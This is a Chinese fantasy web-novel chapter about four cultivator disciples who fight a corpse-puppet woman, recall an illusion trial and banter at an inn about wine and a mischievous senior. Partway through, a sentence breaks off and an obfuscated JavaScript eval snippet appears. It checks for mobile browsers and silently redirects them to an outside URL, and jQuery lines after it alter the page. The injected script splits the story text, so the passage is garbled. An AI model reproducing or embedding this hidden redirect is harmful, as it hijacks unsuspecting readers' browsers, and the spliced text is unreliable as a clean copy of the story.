夜色仍旧深如泼墨。
男子走在空无一人的大街上,手中提着一酒壶摇摇晃晃地往前走去。
他走几步就仰头猛喝一口,喝完再打哈气一声,看着是十分快活。
他带着酒壶如宝般走,走着走着,就在前方瞧见了个被裹在纱衣里头身形曼妙的女子。
他顿时直了眼睛。
像是被香味儿勾了鼻子的饿狼,一瞧见那身姿就被迷得不着四六,像失了魂似的跟着那少女的身影走去了。
他一边走,一边脸上挂着如痴如醉的笑容,好像已经开始幻想与那少女的鱼水之欢了。
他跟着少女,转身进入了一个巷子,然而,这是个死胡同,而原先的少女已不见,面前只剩下了个黑衣女人。
女人脸上未带薄纱,神情在月光下清晰可见。
美,但实在悲。
她的神情,实在太过悲情,一双眼中是死寂的绝望,仿佛人生已走上了断头路,如同现在的这个死胡同一般。
而女人在看见男子面容之时,脸上多了些讶异的神情,但很快便又恢复如初。
窸窸窣窣——
男子的身后传来什么东西接触摩擦的声音,听得人起一身鸡皮疙瘩。
他摸了摸后脖颈,随后一转头,映入眼帘的便是那一片白骨。它们像有了生命,自如行走着,走向他。
“啊啊啊!!!”他尖叫了起来想要逃跑,可前后的路都被堵住,他退无可退。
“救命……救命……救——哈哈哈……”男子突然笑了起来。
他将酒壶内最后一口酒下肚,随后随手一扔,接着一边从身后布囊中取出东西,一边转身。
他拿出的那东西是仙剑“鸠鹄”!
咻——
一白一紫两道剑光破开如墨夜色,直直刺向了那黑衣女人。
女人微微瞪大了眼,但很快又垂下眼皮,神情仍旧,只猛地翻身一跃,跃上围墙之上,旋即解开身后布囊,取出一把棺骨琴至于身前。
铮——
纤纤玉指轻启,无色弦音荡开,竟是直接冲散了那两道剑芒。
然而,在她落指之时,又一人已越上她侧向围墙,速度快出残影,人剑合一朝着她刺来。
“墨千”!
谢影安在下方将剑扛在肩上,笑眯眯地看着这一场酣畅淋漓的大战。
不过出人意料的是,即便是偷袭,这三人竟也全然不是那黑衣女人的对手。
她未动剑,只是靠着一把琴便将三人打得落花流水,近乎是没有任何招架之力。
谢影安简直没法看了,只得无奈出手,也向着那黑衣女人飞去,他与对方过了几招后,一个抬头,又撞进了她的眼眸中。
深不见底的瞳孔,仿佛要看穿他的全部。
“……”
谢影安脸色一黑,猛地抬剑朝女人双眼刺去,任由弦音割裂着他的血肉。
女人双目微睁,她右手拨弦左手拂袖抬手接下了那一剑,凌厉罡风肆虐,掌心处鲜血淋漓。
谢影安情况也没好多少,他被女人最后一道弦音割伤了腹部,此时也是血流如注。
“谢影安!”
紫色剑芒冲天而起,一道身影带着剑猛地冲来,黑衣女人只回头冷淡地看了她一眼,随后便身形晃荡,瞬间消失在了原地,连带着那琴。
蝶月在她那一眼中看见了自己,无数个自己,重叠又重叠,直至她眼花缭乱,最后竟是让剑失手,整个人直直往地上坠去。
“蝶月!”
虞生见了,忙想上前去将人接住,可奈何距离太远,她赶也赶不上,最后还是离得最近反应最快的谢影安拖着伤去将人给接下的。
“没事吧?”虞生跑来问道。
蝶月的脸上还带着惘然与……一丝恐惧。
她在那双如同死潭的眼里看到了什么?
“……”
发怔了许久后,她终于说了三个字:“尸傀儡。”
“什么?”离潼关脸色大变。
“那是尸傀儡。”蝶月闭上眼重复一遍道。
另外两人也都是大惊。
“你开什么玩笑?尸傀儡?你认真的吗?”谢影安猛地攥住她薄薄几乎只剩骨头和一层皮的肩膀问道。
“我没开玩笑,我们蝶族中对这一方面深有了解,我绝不可能认错鬼修和尸傀儡。而且,她不是操控白骨的那个人。”
“……”
谢影安坐在原地,表情生无可恋,似是开始怀疑人生。
“尸傀儡……居然已经能有如此威力……”离潼关道。
其他人也是一脸凝重,唯有虞生觉着有些不对劲,看向谢影安道:“你怎么一脸死了老婆的苦大仇深?”
“……”少年眉头紧锁,一脸忧愁地摆摆手,不肯言语。
“师弟……”离潼关眼神古怪地看向谢影安,“莫非……莫非你是……”
“不是!”
“看上这女子了?”
“……”
谢影安沉默了。
虞生和蝶月都被离潼关的这句话无语到了,偏偏他还无知无觉。
“师弟啊,没事的,这不是什么难以启齿的事情,人嘛,又不能真的没有七情六欲,是吧?没事没事,你若真的喜欢,师兄就去帮你把她给绑回来,你别难过哈。”
谢影安阴恻恻看他一眼:“你们三个加起来都打不过她一个人。”
“嘿嘿嘿,幻想总是得有的嘛。”
“确实,但可不要过度幻想。”虞生道。
不出所料,她要开始冷嘲热讽了。
“伤敌一千自损一千八的战术下次还是不要再试的好,在这种情况下小心玩火自焚。”她说着,扔了一个小瓷瓶到谢影安怀里。
“丹药?你哪儿来的?”谢影安看见瓶子的那一刻都忘记了要嘲讽回去。
“偷的。”
“什么?!!”蝶月和离潼关异口同声。
虞生被两人吵得捂了捂耳朵,随后道:“幻术里,偷的谢逍遥的。”
“难得你喊了我的字。”谢影安嗤一声道。
“毕竟偷的你的东西。”
“说起来,这幻术可真够牛的,我都分不清是真是假了。不过说起来,七师妹,你演技实在是精湛,幻术里就属你最难对付了。”离潼关心有余悸地道。
虞生笑了笑,不置可否。
蝶月:“破除幻术的办法居然是自杀,简直意想不到,这谁能下得去手呢?”
“嗨,那你不也还是出来了嘛?我们也一样。”
“自杀?”虞生抬头看向了几人。
“是啊,难不成你不是。”离潼关道。
虞生又看谢影安,后者也点了点头。
“你不是自杀,那你是什么?杀人吗?修仙者可不得杀人,一旦破戒,便是无可挽回,之后修炼都容易走火入魔。”谢影安半眯起眼,盯着她道。
“没有。”虞生摇了摇头。
“那你的是什么?”离潼关有些好奇。
“是……”虞生看了眼围墙,随后道,“坠落。”
“坠落?新奇。”
“嗯,是挺新……”
虞生垂眸,将双眼盖在长睫落下的阴影里。
四个人接下来就在大街上游荡着,直至天亮。
“我们为什么不找家客栈去休息啊?”谢影安道,他有些走得累了。
蝶月回他道:“大晚上的,打扰人家也不好,倒不如趁着夜深人静再在此处巡视会儿,看看有哪些地方还有邪祟作怪。”
虞生点头表示赞同。
谢影安只耸了耸肩,不置可否。
他在不恶作剧不嘴欠的时候,扮演的向来都是个逆来顺受的角色。
他们走着走着,便至了天亮,而四个在深夜大动干戈还滴水未进的人已经是饿得前胸贴后背,口干舌燥了。
他们之中无人辟谷,所以是免不了一日的饮食的。
“去米满香吧!”离潼关兴致冲冲。
其他三人回想不久前发生的种种,均是清一色地黑脸摇头。
“你难不成还想再自杀一次吗?”谢影安打了个大大的哈欠道。
不知是他天生体虚还是怎的,他瞧着总是比另外三人要累一些,就如虞生所言,仿佛真是被鬼吸了阳气。
“先找家客栈吧,总得先在凡间有个落脚的地方,我们可要在这处待上好一阵子呢。”虞生道。
话音刚落,她的肚子便一点脸面不留地咕咕叫了起来,但她也不脸红,只接着道:“找家包早膳的客栈。不准找米满香旁的。”
一句话,破碎了离潼关的心。
“好吧好吧,我再找一家好些的……我同你们讲啊,那家虽是贵了些,但提供的那些吃食可是这处绝无仅有的,堪比米满香呢!”离潼关仰着脑袋如同孔雀般说着。
不知他的骄傲是从何而来。
“哇哦,那还真是很高的评价了。”谢影安笑道。
“当然当然!不过啊,他家最出名的可不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690069|207885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
饭菜吃食,而是他那精品细酿的好酒——一剑春!那酒如其名,一口下去,便如沐春风,好不快活呢!”离潼关脸上已带上了陶醉的笑。
“呃……快活?喝个酒而已,就算真到桃源也不至于快活吧?你那酒是下了药的?”谢影安照样说话难听。
“诶诶诶,逍遥啊,你怎的这般说话呢?那就让人快活,因着它酒味醇香浓厚,喝一口就口齿留香,令人醉神,恍若置身仙境……你说,普通人去了仙境瞧见美景,那可不是快活醉意?”
谢影安无语撇了下嘴,随后耸耸肩道:“行,你说的都对,说不过你。”
话是如此,但当他真尝到了那“一剑春”的滋味之时,却也是忍不住绝口赞叹:“实在酒如其名!快活!”
“是吧是吧?”离潼关又骄傲了起来,“这酒啊,喝一口,就再也忘不掉。我以往可是常常偷跑下凡去买这酒藏起来喝呢!”
“什么?怪道每每路过你院子的时候都能闻着一股酒香呢,原是如此!你藏酒竟不曾与我共享,真是胆大包天!我要向师父告发你!”谢影安一拍桌佯装怒道。
“别别别!师兄错了师兄错了,今个儿师兄让你喝个畅快,喝不尽兴明个儿再喝,等到回宗时再带几壶回去也是不成问题,但你可千万别同师父讲起啊……”
望海虽是个乐老头,但他在修仙这事儿上一点不马虎,自然是不允许门下弟子在宗门内饮酒作乐的。
离潼关还记得先前他三师兄萧漓偷偷藏酒喝被发现后,可是给师父罚了整整二十大板呢!把他吓得好几年不敢犯禁。
那二十大板,是同门男修来打的,打得板板有力,罚完以后,萧踏樱就只能面朝下趴在床上,缩屋子里头修养了个三四天才好全。
不过他受罚不只是因着藏酒,还有他戒不掉的恶作剧。
他知晓五师妹白谪最恨金饰,却在她出门之时将她屋里的东西全换了金,不过也可能是铜色佯装,总之,五师妹大怒,竟是直接哭了起来,还找上了望海。
当时离潼关一边安慰五师妹一边不解,为何她对金物如此之恨呢?后来他才晓得,原是白谪的母亲,是吞金而死的。
他家境殷实,父母相爱,自是不曾接触过这类苦痛。但母亲吞金自杀,当时他光是听那大发慈悲终于不揍他而是同他聊闲的二师姐说道时便心中大恸难捱。
他的师妹怎么能如此不幸呢?
父亲在修习上给她施加巨大压力,母亲又因父亲的暴力而绝望自杀。
师妹会不会也被殴打过呢?
他总是忍不住想。
太心疼师妹,于是他总帮扶着她,拦着三师兄捉弄他。
萧踏樱没心,见他拦着还道:“你莫不是瞧上五师妹了?这么护着她作甚?”
“我与她玩玩怎的了?又同你有何干?少在这碍事了!”
“你敢告诉师父,我之后就把那些恶作剧全都耍在你身上!”
“萧踏樱!”
离潼关很生气,他第一次对自己的师兄发火。
人怎么能坏成这样?
这是他当时所想。
一个人怎么能坏成萧踏樱这样?
这是他眼中的最恶,而当他将这件事私下讲与虞生的时候,虞生面上义愤填膺,心中却是忍不住感慨:这就是她的四师兄啊,嫉恶如仇,“不食人间疾苦,但求大爱苍生”的四师兄。
她同样心疼自己的五师姐,但她更多的,是悲哀,对人生差距的悲哀。
在离潼关的眼中,萧踏樱那样的人,就已经能算得上是最恶了,他已经是他活了十来年之久,见过的最过分最坏道的人。
虞生和离潼关当时坐在客栈的砖瓦屋顶上俯瞰下方薄姑毫无特色毫无美感的夜景。
一人心中是阴暗的,对这个世界起不了任何期盼,另一人心中却满是希望,他坚信这个世界上的好人比坏人更多,他坚信只要好人做的事情足够多,便能够拯救世界。
天真烂漫,这是虞生能想到的对离潼关最好的形容词。
蠢太难听,不适合用来讲她的师兄,她也实在不愿如此说,但……
她当时只是看着空无一人的街道想:师兄啊,你不明白,我们的世界就是极北的冰川,海平面之上是你所见的,有阳光有黑暗,海平面之下却是更为巨大的,阳光照不到的黑暗。
这个世界已经烂透了,从根里就是腐烂的,你只是只见到了美好,怎么就能以偏概全,认为这个世界就是美好的呢?
说难听点吧,你太愚蠢。